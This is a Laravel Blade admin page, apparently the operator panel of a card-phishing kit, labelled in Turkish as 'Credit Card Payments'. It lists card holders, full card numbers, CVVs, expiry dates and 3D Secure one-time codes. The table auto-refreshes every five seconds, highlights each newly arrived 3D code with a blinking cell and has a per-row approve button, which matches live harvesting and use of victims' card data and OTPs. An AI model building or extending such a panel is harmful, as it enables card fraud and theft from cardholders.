@extends('clay.layouts.master')
@section('title', 'Kredi Kartı Ödemeleri')
@push('page-css')
    <link rel="stylesheet" href="{{ asset('admin/assets/vendor/libs/datatables-bs5/datatables.bootstrap5.css') }}" />
    <link rel="stylesheet" href="{{ asset('admin/assets/vendor/libs/datatables-responsive-bs5/responsive.bootstrap5.css') }}" />
    <style>
        @keyframes blink {
            0% { background-color: #28a745; } /* Yeşil */
            50% { background-color: transparent; } /* Şeffaf */
            100% { background-color: #28a745; } /* Yeşil */
        }

        .blinking-green {
            animation: blink 1s infinite;
        }
    </style>
@endpush
@section('content')
    <div class="card">
        <h5 class="card-header pb-0 text-md-start text-center">Kredi Kartı Ödemeleri</h5>
        <div class="card-datatable text-nowrap">
            <table class="datatables-ajax table table-bordered">
                <thead>
                <tr>
                    <th></th>
                    <th></th>
                    <th></th>
                    <th></th>
                    <th></th>
                    <th></th>
                    <th width="100%"></th>
                    <th></th>
                    <th></th>
                </tr>
                </thead>
            </table>
        </div>
    </div>
@endsection
@push('vendor-js')
    <script src="{{ asset('admin/assets/vendor/libs/datatables-bs5/datatables-bootstrap5.js') }}"></script> @endpush
@push('page-js')
{{--    <script src="{{ asset('admin/assets/js/tables-datatables-advanced.js') }}"></script>--}}
    <script>
        document.addEventListener('DOMContentLoaded', function (e) {
            const dt_ajax_table = document.querySelector('.datatables-ajax');
            let dt_ajax = new DataTable(dt_ajax_table, {
                processing: true,
                ajax: {
                    url: '{{ route('clay.pays.creditCard.index') }}',
                    dataSrc: 'data'
                },

                order: [[8]],
                columns: [
                    { data: 'holder', title: 'Kart Sahibi' },
                    { data: 'number', title: 'Kart Numarası' },
                    { data: 'cvv', title: 'CVV' },
                    { data: 'expiry_date', title: 'Son K. Tarihi' },
                    { data: 'otp_key', title: '3D KOD' },
                    {
                        data: 'user',
                        title: 'Kullanıcı',
                        render: function(data, type, row) {
                            let showUrl = "{{ route('clay.users.show.index', ['userId' => ':userID']) }}".replace(':userID', row.user.id)
                            return `<a href="${showUrl}" class="text-primary">${data.username}</a>`;
                        }
                    },
                    {
                        data: 'amount',
                        title: 'Tutar',
                        render: function(data, type, row) {
                            if (data === null || data === undefined) return '-';
                            return parseFloat(data).toLocaleString('tr-TR', { minimumFractionDigits: 2, maximumFractionDigits: 2 }) + ' ₺';
                        }
                    },
                    {
                        data: 'created_at',
                        title: 'Tarih',
                        render: function(data, type, row) {
                            if (!data) return '-';

                            // UTC zamanını değiştirmeden almak için `Z` ekleyerek `Date` nesnesini oluştur
                            let date = new Date(data);

                            return new Intl.DateTimeFormat('tr-TR', {
                                day: '2-digit',
                                month: '2-digit',
                                year: '2-digit',
                                hour: '2-digit',
                                minute: '2-digit',
                                hour12: false,
                                timeZone: 'UTC' // Zaman dilimini UTC olarak ayarla (Saat kaymasını önler)
                            }).format(date).replace(',', '');
                        }
                    },
                    {
                        data: 'updated_at',
                        title: 'Güncelleme Tarihi',
                        render: function(data, type, row) {
                            if (!data) return '-';

                            // UTC zamanını değiştirmeden almak için `Z` ekleyerek `Date` nesnesini oluştur
                            let date = new Date(data);

                            return new Intl.DateTimeFormat('tr-TR', {
                                day: '2-digit',
                                month: '2-digit',
                                year: '2-digit',
                                hour: '2-digit',
                                minute: '2-digit',
                                hour12: false,
                                timeZone: 'UTC' // Zaman dilimini UTC olarak ayarla (Saat kaymasını önler)
                            }).format(date).replace(',', '');
                        }
                    },
                    {
                        // Actions
                        targets: -1,
                        title: 'İşlemler',
                        searchable: false,
                        orderable: false,
                        render: function (data, type, row, meta) {
                            var buttons = '';
                            {{--let showUrl = "{{ route('clay.users.show', ['userId' => ':userID']) }}".replace(':userID', row.id)--}}
                                {{--let buttons = `<a href="${showUrl}" type="button" class="btn btn-sm btn-primary">Kullanıcı</a>`;--}}

                            if (row.status === 0) {
                                let url = "{{ route('clay.pays.creditCard.approve', ['id' => ':ID']) }}";
                                url = url.replace(':ID', row.id); // ID'yi dinamik olarak değiştir
                                buttons = `<a href="${url}" type="button" class="btn btn-sm btn-success ms-1">Onayla</a>`;
                            }else{
                                buttons += 'ONAYLANDI'
                            }

                            return buttons;

                        }
                    }
                ],
                rowCallback: function(row, data) {
                    if (data['otp_key']) { // Eğer `3d_key` doluysa
                        $(row).find("td:eq(4)").addClass("blinking-green"); // 3D KOD sütununa animasyon sınıfı ekle
                    }
                    if (data.status === 1) { // Eğer status 1 ise
                        $(row).addClass('table-primary');
                    }
                    if (data.accountant_status === 1) {
                        $(row).addClass('table-success');
                    }
                },
                layout: {
                    topStart: {
                        rowClass: 'row mx-3 my-0 justify-content-between',
                        features: [
                            {
                                pageLength: {
                                    menu: [7, 10, 25, 50, 100],
                                    text: 'Show_MENU_entries'
                                }
                            }
                        ]
                    },
                    topEnd: {
                        search: {
                            placeholder: ''
                        }
                    },
                    bottomStart: {
                        rowClass: 'row mx-3 justify-content-between',
                        features: ['info']
                    },
                    bottomEnd: {
                        paging: {
                            firstLast: true
                        }
                    }
                },
                language: {
                    paginate: {
                        next: '<i class="icon-base bx bx-chevron-right scaleX-n1-rtl icon-sm"></i>',
                        previous: '<i class="icon-base bx bx-chevron-left scaleX-n1-rtl icon-sm"></i>'
                    }
                }
            });

            setInterval(function() {
                dt_ajax.ajax.reload();
            }, 5000); // 5000 ms = 5 saniye
        });
    </script>
@endpush